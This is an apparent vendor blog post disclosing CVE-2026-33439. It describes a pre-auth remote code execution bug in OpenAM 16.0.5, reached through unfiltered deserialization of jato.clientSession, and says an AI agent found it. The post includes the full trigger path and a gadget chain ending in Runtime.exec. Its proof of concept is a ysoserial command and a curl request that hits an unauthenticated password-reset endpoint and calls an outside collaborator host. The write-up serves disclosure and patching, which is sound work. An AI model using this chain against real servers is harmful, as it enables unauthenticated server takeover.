复现 CVE-2021-35464 同类高危模式,给出 AI 挖洞可复制的流程
rceai_agentcve
As part of our security research efforts, we’ve been using Hacktron to go after high-impact open source projects. Along with whitebox pentesting, we feed it a knowledge base of previous security research, point it at a target, and let it hunt. With threat actors already using AI, we figured we should be doing the same to stay ahead. We’re going to start publishing the results of these efforts, this is the first one.
Remember
CVE-2021-35464
? Pre-auth RCE in OpenAM via unsafe Java deserialization of
jato.pageSession
. Textbook deserialization, custom gadget chain, full server compromise. Great research by
Michael Stepankin
.
The agent looked at the original research, noticed JATO had one parameter that deserializes user input, and asked the obvious question: could there be another? There was.
The missed sibling
After
CVE-2021-35464
, OpenAM patched
jato.pageSession
by wrapping deserialization with a
WhitelistObjectInputStream
that restricts loading to about 40 safe types. Gadgetes like
PriorityQueue
or
TemplatesImpl
get rejected. But JATO has a second parameter,
jato.clientSession
, and its deserialization lives in a completely separate code path:
ClientSession.java
1
protected ClientSession(RequestContext context) {
2
this.encodedSessionString =
3
context.getRequest().getParameter("jato.clientSession");
4
}
This value gets passed into
Encoder.deserialize()
, which calls
ApplicationObjectInputStream.readObject()
with no filtering. It applies no whitelist and no restrictions, so it deserializes attacker-controlled input directly. The fix for
pageSession
already existed in the same codebase but was never applied to
clientSession
.
The patched path:
ConsoleViewBeanBase.java
1
protected void deserializePageAttributes() {
2
this.setPageSessionAttributes(
3
(Map) IOUtils.deserialise(
4
Encoder.decodeHttp64(pageAttributesParam), false,Loader));
5
}
The unpatched path:
ClientSession.java
1
protected void deserializeAttributes() {
2
if (this.encodedSessionString != null
3
&& this.encodedSessionString.trim().length() > 0) {
4
this.setAttributes(
5
(Map) Encoder.deserialize(
6
Encoder.decodeHttp64(this.encodedSessionString), false));
7
}
8
}
IOUtils.deserialise()
uses a whitelist.
Encoder.deserialize()
does not.
Trigger chain
jato.clientSession
deserialization does not trigger on every request. It only fires when the rendered JSP contains
<jato:form>
tags. Full call path from HTTP request to
readObject()
:
GET /openam/ui/PWResetUserValidation?jato.clientSession=<PAYLOAD>
→ PWResetServlet.doGet()
→ ApplicationServletBase.processRequest()
→ dispatchRequest() → viewBean.forwardTo() ← JSP rendering begins
→ JSP <jato:form> tag → FormTag.doStartTag()
→ getClientSession() ← reads jato.clientSession param
→ hasAttributes() → getEncodedString()
→ isValid() → ensureAttributes()
→ deserializeAttributes()
→ Encoder.decodeHttp64() ← URL-safe Base64 decode
→ Encoder.deserialize()
→ ApplicationObjectInputStream
.readObject() ← no whitelist, game over
The Password Reset pages (
/ui/PWResetUserValidation
,
/ui/PWResetQuestion
) are ideal targets. They are unauthenticated and their JSPs include
<jato:form>
tags. One caveat: the request must not also carry
jato.pageSession
. If it does,
dispatchRequest()
throws a
ServletException
before JSP rendering begins, and the
clientSession
deserialization never fires.
Gadget chain
OpenAM 16.0.5 ships with everything needed for a Click-style gadget chain. The Clickes are repackaged under
org.openidentityplatform.openam.click.control
(not
org.apache.click.control
), and
TemplatesImpl
comes from
xalan-2.7.3.jar
:
PriorityQueue.readObject() [java.util]
→ heapify() → siftDown() → comparator.compare()
→ Column$ColumnComparator.compare() [openam-core-16.0.5.jar]
→ Column.getProperty()
→ PropertyUtils.getObjectPropertyValue() [click-nodeps-2.3.0.jar]
→ Method.invoke(TemplatesImpl, "getOutputProperties")
→ TemplatesImpl.getOutputProperties() [xalan-2.7.3.jar]
→ newTransformer()
→ defineTransletClasses()
→ TransletClassLoader.defineClass(_bytecodes)
→ _class[_transletIndex].newInstance()
→ EvilTranslet.<clinit>() [attacker bytecode]
→ Runtime.getRuntime().exec(cmd)
The standard ysoserial
Click1
gadget won’t work out of the box because of the repackaged names. We’re not releasing our custom gadget chain, but adapting
Click1
to use the correct package paths and the external Xalan
TemplatesImpl
is trivial if you know your way around Java deserialization.
Proof of concept
Generate payload
java --add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar OpenAM1 \
"curl http://YOUR-COLLABORATOR-ID.oastify.com" > payload.bin
PAYLOAD=$(base64 < payload.bin | tr -d '\n' | tr '+/' '-_' | tr -d '=')
Send the payload
curl -k "https://TARGET/openam/ui/PWResetUserValidation?jato.clientSession=${PAYLOAD}"
A single unauthenticated GET request, with no cookies or tokens, runs code on the server.
Tested on OpenIdentityPlatform OpenAM 16.0.5 with Tomcat 10.1.52 and Java 21.0.7. Also verified on the official
openidentityplatform/openam:latest
Docker image with Java 25.
Fix
OpenAM 16.0.6 routes
Encoder.deserialize()
through
IOUtils.deserialise()
, the same
WhitelistObjectInputStream
that already protects
jato.pageSession
. Both parameters now go through identical filtering. The maintainers also added
StackWalker
-based call tracing to log deserialization callers.
If you’re running OpenAM 16.0.5 or earlier, update now.
Conclusion
It’s a
small variant
that got missed: a sibling parameter in the same framework that nobody applied the fix to. The agent figured it out from the original research sitting in its latent space.
We believe there are bugs like this all over the internet. Incomplete patches, missed siblings, slight variations of known vulns that just never got the human attention. The industry never had enough people to clear up that debt. LLMs will grind through this kind of work, but only with the right setup. One-shot prompts aren’t enough. With a knowledge base of prior research and feedback loops, the agent does better than a single-pass scan.
If you maintain an
open source project
and want help finding these before someone else does, reach out. We’re happy to do free AI audits and help you secure your stuff.
[email protected]
Disclosure timeline
19 March 2026
Vulnerability reported to OpenIdentityPlatform via GHSA
20 March 2026
Report accepted by maintainer (maximthomas)
20 March 2026
CVE-2026-33439
reserved
23 March 2026
Fix merged into master (commit
014007c
)
7 April 2026
CVE-2026-33439
and GHSA-2cqq-rpvq-g5qj published
7 April 2026
Public disclosure
CVE-2026-33439
| Critical | CVSS 9.8 | CWE-502 | GHSA-2cqq-rpvq-g5qj
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hacktron.ai
. Reach out at
[email protected]
or
book a call
.